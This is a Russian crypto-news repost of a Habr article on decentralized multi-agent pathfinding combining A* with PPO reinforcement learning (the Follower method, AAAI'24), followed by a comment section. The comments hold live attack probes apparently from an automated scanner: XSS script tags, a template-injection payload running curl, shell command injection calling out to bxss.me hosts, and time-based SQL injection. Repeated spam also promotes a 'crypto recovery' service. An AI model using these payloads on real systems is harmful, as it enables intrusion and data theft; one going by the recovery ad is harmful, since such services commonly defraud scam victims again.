Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Много-агентное планирование траекторий в децентрализованном режиме: эвристический поиск и обучение с подкреплением

Привет! Меня зовут Константин Яковлев, я научный работник и вот уже более 15 лет я занимаюсь методами планирования траектории. Когда речь идет о том, чтобы построить траекторию для одного агента, то задачу зачастую сводят к поиску пути на графе, а для этого в свою очередь обычно используют алгоритм A* или какие‑то из его многочисленных модификаций. Если же агентов много, они перемещаются в рабочем пространстве одновременно, то задача (внезапно) становится несколько более сложной, и применить напрямую A* не получится. Вернее, получится, но лишь для небольшого числа агентов (проклятье размерности, куда деваться). Тем не менее для централизованного случая, т. е. для случая, когда есть один (мощный) вычислитель, с которым связаны все агенты и который всё про всех знает, решить задачу много‑агентного планирования можно достаточно эффективно. Можно даже находить оптимальные решения для умеренного количества агентов за относительное приемлемое время (например, порядка 1 секунды на современном десктопном PC для 30–50 агентов).

Если же говорить о децентрализованном случае, т. е. о том случае, когда агентам необходимо действовать индивидуально (например, нет устойчивой связи с центральным контроллером), опираясь лишь на собственные (локальные) наблюдения и опыт, то с хорошими решениями задачи становится гораздо сложнее. Когда я говорю «хорошие решения», я имею в виду прежде всего такие алгоритмы, которые бы давали стройные теоретические гарантии в общем случае. Хотя бы гарантии того, что каждый агент дойдёт (за конечное время) до своей цели. Тем не менее, задача интересная и специалисты из индустрии и академии её пытаются решать.

В этом посте я расскажу о наших свежих наработках в этой области, а именно о гибридном методе, которые сочетает в себе принципы классического эвристического поиска (A*) и обучения с подкреплением (PPO). Метод получился неплохим, превосходящим многие современные аналоги по результатам экспериментов, а соответствующая статья была принята на The 38th AAAI Conference on Artificial Intelligence (пока доступен только препринт). Это одна из топовых академических конференций по искусственному интеллекту, которая в этом (2024) году проходила в Канаде (спойлер: я сам визу получить не успел, но моим коллегам и соавторам, кто имел ранее выданные канадские визы, удалось принять личное участие и достойно представить нашу науку на мировом уровне).

Итак, поехали!

Предварительные сведения. Централизованный MAPF.

Задача, о которой пойдёт речь в посте, имеет устойчивое англо‑язычное название — Multiagent Pathfinding. Сокращенно — MAPF. По‑русски мы будем её называть задачей планирования траекторий для множества агентов или же просто задачей много‑агентного планирования (подразумевая «путей» или «траекторий»). Эта задача состоит в следующем: в общем рабочем пространстве одновременно расположены n мобильных агентов, для каждого из которых известно уникальное целевое положение. Необходимо спланировать пути перемещения агентов к их целям таким образом, чтобы, во‑первых, каждый робот достигал своей цели как можно скорее, во‑вторых, чтобы запланированные пути не содержали конфликтов, т. е. агенты, следуя по ним, не сталкивались. В качестве наглядного примера, где решения такой задачи могут быть востребованы, обычно упоминают современные роботизированные склады крупных ритейлеров, логистические компании и др.

Мобильные роботы в больших количествах уже используются на крупных складах, чтобы ~~капиталисты могли зарабатывать больше~~ избавить человека от монотонного физического труда. GIFки нагуглены.

Тут надо сказать, что задача построения складских роботизированных систем, функционирующих 24/7, намного сложнее, чем задача MAPF. Ведь последняя является достаточно абстрактной, например, она оставляет за скобками вопрос о том, как мобильные агенты будут выполнять построенный план (нам нужно просто построить план, но не проехать по нему), почему надо двигаться именно к этим целям, а не другим и т. д. Но в общем и целом идея состоит в том, что если мы научимся хорошо решать MAPF, то и эффективные роботизированные склады (или другие роботизированные много‑агентные системы) нам станет разрабатывать проще.

В академических кругах часто изучают так называемый классический MAPF (кому интересно, можно почитать соответствующую статью). Это когда рабочее пространство агентов представлено в виде неориентированного графа, время дискретно и все действия агентов синхронизированы. За один такт каждый агент может совершить действие одного из двух типов: ожидание или перемещение. Другими словами агент может либо остаться в текущей вершине графа, либо переместиться в смежную. Продолжительность и, соответственно, стоимость (вес) любого действия считается одинаковой и составляет один такт. Индивидуальный план для агента — это последовательность действий, которая переводит этого агента из начальной вершины в целевую.

Наша задача — построить общий план (т. е. по одному плану на каждого агента), который бы не содержал конфликтов. Конфликты, которых нужно избегать, бывают, как минимум, двух типов: вершинные и реберные. Название говорят сами за себя. Вершинный конфликт случается тогда, когда два (или более) агента согласно планам оказываются в одной и той же вершине в один и тот же момент времени, рёберный — когда они пытаются пройти по одному и тому же ребру в один и тот же такт. Иногда ещё накладывают дополнительные ограничения из серии «агенты не могут ходить паровозиком», но обычно всё‑таки ограничиваются вершинными и реберными конфликтами.

Различные типы конфликтов в классическом MAPF. Рисунок взят из статьи Multi-agent pathfinding: Definitions, variants, and benchmarks.

Качество решений задачи MAPF, т. е. качество общего плана, обычно измеряют либо как сумму времен достижений целями по всем агентам (если её поделить на число агентов, то получится такое «среднее время достижения цели»), либо как максимум по этим временам (это показывает, когда последний из агентов доехал до цели). Естественно, чем меньше, тем лучше.

Наглядный пример задачи классического MAPF (слева) и вариантов его решения (по центру и справа). Верхнее решение оптимизирует сумму времен, нижнее решение — время достижения финиша последним агентом. В данном примере эти решения различные (но часто они могут и совпадать). Рисунок взят из статьи An Empirical Comparison of the Hardness of Multi-Agent PathFinding under the Makespan and the Sum of Costs Objectives.

Итак, что такое классическая MAPF задача нам более менее понятно. При этом, на мой взгляд, и сама задача и методы ее решения достойны отдельной статьи (или даже нескольких) на Хабре, но сегодня мы говорим немного про другое, поэтому двигаемся дальше — к lifelong варианту и децентрализованной постановке.

Децентрализованный MAPF. Lifelong вариант. Явные и неявные допущения.

Lifelong MAPF — это MAPF, в котором каждому агенту, после того как он достиг цели, сразу же назначается следующая, и теперь он должен двигаться к ней. Очевидно, что в таком режиме агенты могут перемещаться без конца и края, поэтому целесообразно ввести понятие эпизода. Другими словами мы задаем ограничение по времени t_max и после этого шага эпизод прекращается (где-бы ни находились агенты).

Что касается оценки качества решения, то в lifelong MAPF обычно считают пропускную способность (англ. throughput), т.е. среднее число достигаемых целей за такт времени. Формально это записывается как: N_goals/t_max, т.е. мы делим общее число достигнутых целей (по всем агентам) на длину эпизода. Чем больше, чем лучше.

Заметим, что для нас как для исследователей неважно (как и раньше) откуда берутся цели. Для простоты и повторяемости экспериментов мы считаем, что для каждого агента случайным образом до начала эпизода сгенерирована последовательность целей. При этом в ходе эпизода каждую следующую цель агент узнает только тогда, когда достигает текущую.

Мини-пример того, как выглядит Lifelong MAPF. После достижения цели агенту сразу выдается новая.

Переходим теперь к самой интересной части — децентрализации. Если раньше мы полагали, что у нас есть некий центральный вычислитель, который в каждый момент знает всё про всех агентов (их положения, цели, спланированные траектории и т. д.), то теперь будем считать, что его нет. Остались только агенты и надо определиться, что они знают об окружающем мире.

Предположение 1. Каждый агент знает всю карту статических препятствий (например, мы загрузили в каждого робота план складских помещений), знает свое положение в ней и свою (текущую) цель.

Предположение 2. Каждый агент имеет ограниченный радиус видимости, внутри которого он может видеть других агентов (=знать их положение). За пределами этого радиуса видимости других агентов «наш» агент не видит. На практике, агенты обычно перемещаются по клетчатому полю, и их радиус видимости это область nxn клеток вокруг агента (например, 5х5 или 11х11).

Агент с ~~близорукостью~~ ограниченной областью наблюдения.

Предположение 3. Агенты кооперативны и гомогенны. То есть каждый агент вправе считать, что другие агенты, во-первых, не имеют своей целью помешать ему, во-вторых, действуют по тем же алгоритмам, что и он сам.

Часто также предполагают, что агенты могут локально обмениваться информацией, например о том, кто к какой цели идёт. У нас в работе нет такого предположения (и это не мешает нам успешно справляться с задачей).

Задача теперь ставится следующим образом: необходимо сконструировать стратегию выбора действий агентом, которая на каждом шаге будет говорить, что делать (ждать на месте, идти, если идти, то куда). Формально, стратегию можно определить как функцию:

$\pi(\tau) → P(a).$

Здесь τ — это история взаимодействия агента со средой в текущем эпизоде (т. е., что он уже видел, какие действия уже совершал и т. д.), а P(a) — это распределение вероятности на действиях. То есть на выходе мы хотим получить не столько полностью однозначный ответ типа «иди влево», сколько оценку вероятности для каждого действия: «иди влево — 0.6», «стой на месте — 0.3» и т. д. Тогда на каждом шаге агент будет семплировать из этого распределения и уже это действие совершать в среде.

Если вы подумали сейчас, что это всё очень похоже на (частично-наблюдаемые) марковские процессы принятия решение (в англ. варианте — (PO)MDP), то вы абсолютно правы, это оно и есть, но в этом посте не хочется грузить терминологией.

Важно заметить, что поскольку у нас есть допущение 3 (которое обычно подразумевается в MAPF задачах «по умолчанию» и явно даже не проговаривается в статьях), то нам достаточно одной стратегии на всех. То есть, после того как стратегия нами как-то сконструирована, мы загружаем копию этой стратегии в каждого из агентов и весь коллектив оживает.

Вот примерно так один агент загружает копию своей стратегии другому агенту.

Окей. Задача более менее ясна, давайте теперь её решать.

Ищем пути решения

Давайте подумаем, как вообще можно решить нашу задачу. Ну во-первых, можно, наверное, прописать какую-то систему правил, по которой каждый агент будет двигаться. Что-то в духе «делай шаг по кратчайшему пути к цели, но если видишь, что на тебя движется другой агент, то отойди в сторону и подожди один такт». Проблема с таким подходом очевидна. Стройную систему правил будет придумать непросто, скорее всего правил будет много, почти всегда будут какие-то исключения и так далее. С другой стороны, можно зайти так: у нас же XXI век на дворе, дип лёнинг, биг дата и все дела. Давайте обучим нейросеть, и она будет говорить, что делать в той или иной ситуации. Тот тип задач, что мы решаем, когда агент интерактивно взаимодействует со средой (перемещается в ней, достигает целей и прочее), вполне замечательно укладывается в то, что зовется обучением с подкреплением (reinforcement learning, RL). Именно этот тип обучения обычно используется, когда хочется научить компьютер играть в шахматы, го, старкрафт и прочее. И мы (современная наука и программная инженерия) умеем решать указанные игровые задачи весьма неплохо, а иногда даже очень и очень хорошо (даже лучше человека).

Однако и с обучаемыми подходами, тоже есть проблемы, когда мы говорим именно о задаче MAPF. Во-первых, у нас нестационарная с точки зрения агента среда, т.е. на то, какой получится результат (дойдёт ли агент до цели или застрянет в каком-то закутке карты) влияют другие агенты, которые частью собственно среды не являются, а имеют собственные цели, которые им надо достигать. Во-вторых, у современных методов глубокого обучения с подкреплением (deep reinforcement learning, DRL) не всё гладко с генерализацией. То есть они обычно хорошо решают задачи, которые похожи на те, что встречались на этапе обучения, но если попадается какая-то непохожая задача, то результат может быть так себе. В нашем случае мы хотим, чтобы агенты (как по отдельности, так и в совокупности) хорошо себя вели на картах разного размера, с разным расположением статических препятствий, разным количеством агентов и др. В общем нам нужна стратегия, которая хорошо генерализуется. Не то, чтобы указанные проблемы прямо совсем не решались современным DRL, просто обучать «в лоб» нам придется мучительно и долго. Поэтому возникает мысль пойти несколько другим путём.

Когда увидел, сколько времени и ресурсов потребуется, чтобы обучить «в лоб»

Другой путь — это комбинация классических эвристических подходов и подходов обучаемых. Не мы первые придумали применять такой гибридный подход для решения сложных задач и задач MAPF в частности, но мы сделали это по‑своему, и у нас получилось весьма неплохо (по крайней мере, на фоне известных мировых аналогов, с которыми мы сравнивались).

Кстати раньше на Хабре я уже рассказывал, как комбинация машинного обучения и эвристического поиска помогает решать задачу в классической одно-агентной постановке. Кому и эта тема тоже интересна — можно посмотреть тут.

Наш подход: учись следовать

Первый ингредиент нашего подхода — классический алгоритм эвристического поиска (кратчайшего) пути A*. Второй — обучаемая стратегия следования вдоль этого пути и кооперативного избегания столкновений. Поэтому мы и назвали наш метод «Учись следовать», «Learn to Follow» или, сокращенно, просто Follower. По‑русски получается «Следователь», но мы наш подход называли между собой просто Фоловер) (с одной «л» и ударением на второй слог).

Работает Фоловер следующим образом. Агент с помощью A* строит путь до цели, игнорируя других агентов. Затем локальный фрагмент этого пути, а также дополнительная локальная информация (положение препятствий и других агентов) передаются на вход обучаемой стратегии, которая, собственно, и определяет как следует действовать агенту. Схематично это выглядит так.

Большая и ~~страшная~~ красивая схема нашего подхода. Агент (тот, за которого мы сейчас решаем) отмечен красным кружком на карте слева. Его глобальный путь до цели показан маленькими пустыми кружочками. Этот путь + положение статических препятствий в области видимости образуют первый канал локального наблюдения (левая матрица 5×5 в центре картинки). Второй канал (правая матрица) кодирует текущее положение самого агента и тех агентов, что он видит. Такое двухканальное наблюдение передается на вход нейросети, одна голова которой (актор) говорит, что агенту делать, а другая — критикует его за это (критик используется только на этапе обучения, чтобы помочь актору научиться вести себя правильно). В верхней части по центру изображен модуль планирования, который строит глобальный путь до цели с использованием специальной тепловой карты, которая помогает прокладывать маршрут по менее загруженным частям карты.

Более детальное академическое описание этой схемы и подхода в целом можно найти собственно в статье, здесь я постараюсь объяснить (насколько возможно просто) лишь самые важные моменты.

Строим путь до цели мы с помощью A*, но при этом используем модифицированную карту стоимости переходов (на рисунке выше она показана в виде тепловой карты: чем краснее клетка, тем выше стоимость перехода в соответствующую клетку). Это нам нужно для того, чтобы лучше рассеять агентов по карте и уменьшить вероятность заторов, из которых весьма сложно выпутываться в децентрализованном режиме. Делаем мы это следующим образом. Тем клеткам, в которых мы часто видели других агентов мы добавляем некоторый штраф. Также штраф добавляем тем клеткам, которые чисто статистически чаще других встречаются в кратчайших путях (для этого мы пре-процессим карту, рассчитывая пути между всеми парами вершин). В итоге наш агент ищет не кратчайший в геометрическом смысле путь, а такой путь, который бы снижал вероятность встречи с толпой других агентов (как показали наши эксперименты подобная техника «разведения агентов по карте» вносит весьма существенный вклад в практическую эффективность нашего подхода).

Избегание встречи с другими агентами 80 lvl

Ок. Путь у нас есть, давайте учится следовать вдоль него, избегая при этом столкновений с другими агентами. В качестве обучаемого метода движения мы выбрали весьма известный в мире обучения с подкреплением нейросетевой метод Proximal Policy Optimization (PPO), который был впервые предложен коллегами из OpenAI. Это метод типа актор‑критик, т. е. на этапе обучения одна часть стратегии, актор, учится выбирать действия, другая часть, критик, учится оценивать состояния среды (т. е. учится «критиковать» первую часть за то, что она завела в нас в то или иное состояние). Реализуется это всё естественно на нейросетях, т. е. у нас есть некоторые общие входные слои, которые ответственны за агрегацию и обработку входных данных и затем две головы: актор и критик. После обучения сеть критика предсказуемо не используется. Стоит также заметить, что изначально PPO подразумевает полную наблюдаемость среды агентом. В нашем случае это не так (у нас только частичная наблюдаемость), поэтому мы также задействует RNN‑блоки, которые расположены между блоками обработки наблюдений и блоками актора/критика. RNN‑блоки призваны наделить нашего агента «памятью» и способностью аппроксимировать состояние среды по истории локальных наблюдений.

Обучается наш PPO с использованием техники policy sharing, т. е. все агенты, задействованные в обучении, используют (и обновляют) одни и те же веса нейросети. Так можно делать, потому что у нас есть предположение о том, что агенты гомогенны и кооперативны, о чём упоминалось выше. Награда при обучении дается агенту при достижении точки на пути к глобальной цели. Мы экспериментировали с разными вариантами того, как далеко должна находиться подцель от агента. В результате экспериментов, лучше всего себя показала стратегия, которая училась достигать первую (ближайшую) клетку на пути к цели. Как говорится, всё эффективное — просто. Тут важно сделать оговорку, что мы (как и многие другие исследователи) предполагаем, что если два агента хотят сходить в одну клетку или поменяться местами, то у них ничего не выйдет. Поэтому просто «жадно идти по своему пути» зачастую невыгодно — не получишь награды. Из‑за этого агенты вынуждены учиться кооперации и они таки ей учатся — см. например следующую гифку:

Обратите внимание на то, как агенты внизу используют пространство, чтобы разойтись (пусть и не сразу) в узком коридоре. Достичь такой кооперативности в децентрализованном режиме (да ещё и без обмена информацией) весьма непросто, но наш Фоловер, как видно, справляется.

Эксперименты

Для экспериментального исследования методов обучения с подкреплением (чистых или гибридных, как у нас, не столь важно) нужна программная модель среды. Желательно, чтобы она была совместима с некоторым общепризнанным в мире обучения с подкреплением API (Gym, Gymnasium и вот это вот всё, если вам это о чём‑то говорит). Мы в качестве такой среды использовали среду POGEMA, которую сами ранее и разработали, потому что других эффективных и удобных сред, заточенных под MAPF задачи просто не существовало. Благодаря POGEMA у нас эффективно работал из коробки весь цикл обучения и валидации (плюс сбор статистики и визуализация), что существенно ускорило процесс получения собственно результатов. Кому интересно заниматься подобными задачам всячески рекомендую нашу POGEMA — заходите на гитхаб, клоньте, форкайте, ставьте звездочки и так далее.

Для экспериментов в POGEMA мы подготовили две версии нашего Фоловера: стандартную и легкую. Легкая отличается тем, что в ней существенно урезана нейросеть (например, полностью опущены RNN‑блоки и не только): меньше 4 тысяч параметров (совсем мизер по текущим меркам) против 5 миллионов (тоже немного на самом деле) у стандартного Фоловера. Также легкий Фоловер для пущей эффективности был полностью реализован на С++, в то время как стандартный — на смеси C++ (для вещей не связанных с нейросетями) и Python (для нейросетей).

Сравнивались мы в первую очередь с современными обучаемыми методами, заточенными на решение задачи децентрализованного много‑агентного планирования, в том числе с такими широко‑известными в узком сообществе методами, как Primal2 (2021), PICO (2022), SCRIMP (2023). И сравнение оказалось в нашу пользу — у нас лучше пропускная способность (т. е. достигается больше целей в единицу времени) и выше способность к генерализации, т. е. Фоловер лучше работает на картах, отличных от тех, что видел на этапе обучения. На графиках это выглядит примерно вот так.

Слева и справа показаны карты, на которых мы проводили тестирование (на самом деле не только на них, но не суть). По центру — графики показывающие эффективность метода. По оси OY отложены значения пропускной способности (чем выше тем лучше), по оси OX — число агентов на карте. Каждая линия на карте — это сравниваемый метод. Звездочка в легенде — это отметка о том, что обучение этого метода проходило на этом типе карт (например наш Фоловер при обучении видел только карты типа лабиринтов, как справа, но не случайные карты, как слева). Эти графики наглядно показывают, что наш метод лучше конкурентов.

В статье у нас больше картинок и деталей. Если они вам интересны рекомендую заглянуть в публикацию.

Мы также ради спортивного интереса сравнились с централизованными подходами к MAPF, которые видят всех агентов и планируют централизованно за всех. У одного из наиболее распространенных современных централизованных планировщиков, RHCR (2021), предсказуемо получается более высокое качество решений (частота достижения целей выше). Однако у него наблюдаются заметные проблемы с масштабированием. Если агентов много, а время на планирование ограничено (порядка 1 секунды в наших экспериментах), то он начинает заваливаться. Это наглядно показывает, что децентрализованные подходы имеют свою нишу. Тут надо честно заметить, что есть и более простые централизованные методы, например PIBT (с ним мы тоже сравнивались), которые отрабатывают очень быстро, но качество их решений, хуже чем у Фоловера. т. е., опять же, децентрализованные подходы зачастую могут обыгрывать централизованные (у которых априори больше информации об окружающей среде и всех агентах).

Ещё у нас были т. н. ablation studies, это когда мы не сравниваем наш метод с другими, а отключаем какие‑то компоненты нашего подхода и смотрим на результат. Эти эксперименты показали, что если отключить метод распределения агентов по карте (модификация стоимостей перехода в A*), то также качество падает. Если выкинуть из Фоловера обучаемую стратегию (т. е. сказать агентам — идите просто по A* путям), то качество также существенно просаживается — см. график ниже.

Результаты тестирования Фоловера с выключением различных функциональных блоков (на карте складского типа). Синий график — Фоловер. Красным и зеленым показано, что будет если отключить нашу технику распределения агентов по карте при построении маршрута (становится хуже — пропускная способность падает). Фиолетовый график — это Фоловер без обучаемой стратегии, т. е. агенты просто планируют пути и всегда идут по ним (пока не упрутся в других таких агентов‑эгоистов). Как видно, этот вариант вообще аховый, пропускная способность сильно хуже, да ещё и падает с числом агентов.

В общем, эксперименты подтвердили, что у нас получился отличный гибридный метод децентрализованного много‑агентного планирования (в lifelong постановке), который превосходит по эффективности решения задач многих современных мировых конкурентов и даже может тягаться по соотношению «цена‑качество» с централизованными подходами.

А как оно было в Канаде

Новость о том, что статья по описанному методу принята на конференцию AAAI’24 пришла в середине ноября 2023. Сама конференция — в конце февраля 2024, в Канаде. Готовой визы в Канаду у меня не было, я начал ее оформлять, но не успел. Хорошо, что у двух из пяти соавторов нашей статьи уже были канадские визы, полученные ранее (они в 2019 году ездили на NeurIPS). Поэтому голос Российской Науки на конференцию звучал. Причем в прямом смысле. Дело в том, что на AAAI’24 было подано около 12 тысяч докладов а, принято около 2300 докладов. Это с одной стороны мало относительно первоначального количества, с другой стороны — это слишком много, чтобы выделить каждому докладу время на устную презентацию, с учетом того, что основной научный трек конференции идет всего 3 дня. Поэтому обычно на таких масштабных конференциях выбирают небольшое число работ (порядка 10%) для устных докладов, а остальные представляются в виде постеров. Наша статья попала в эти самые 10%, и по ней был сделан устный доклад. Ура!

Прикреплю в завершении некоторые фотографии (с комментариями) с конференции.

Первый соавтор статьи Алексей Скрынник делает доклад по нашей работе в одном из залов конгресс-центра Ванкувера. Слева, за стеклянной стеной видно залив, куда периодически приводняются небольшие гидросамолеты. Их хорошо слышно, и слушатели обычно отвлекаются в этот момент.

Тот самый гидросамолет (один из многих).

Вот в таком конгресс-центре проходила конференция.

А вот так выглядит постерная сессия. Это когда на стенку вешает эдакая статическая оффлайн мини-презентация статьи (постер), автор стоит рядом и общается с коллегами, объясняя интересующимся, что ~~деньги налогоплательщиков мы потратили на решение вот такой вот интересной головоломки~~ наша разработка — это передовой край современной науки. Если кто-то внимательный заметил, что название постера не совпадает с названием статьи, про которую собственно и написан пост, то объяснение этому — чуть ниже.

Вместо PS: (интересно, дочитал ли кто-то до этого места?)

Вообще на AAAI’24 у нас была принята не одна, а целых три работы по много-агентному планированию. Две про децентрализованную постановку (про одну я рассказал в этом посте, про другую — уже не хватило места), и одна про централизованную, но интересную, когда агенты могут меняться местами, т.е. нам не важно какой агент какую цель достигнет (главное, чтобы все цели были покрыты). Когда и если у меня будет очередной прилив графоманского настроения (и время), то и про эти работы я расскажу на Хабре. Пока же просто оставлю ссылки на сами статьи для интересующихся: раз и два.

Источник

Теги

ICO

Категория

Новости

Дата

26 мар. 2024 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

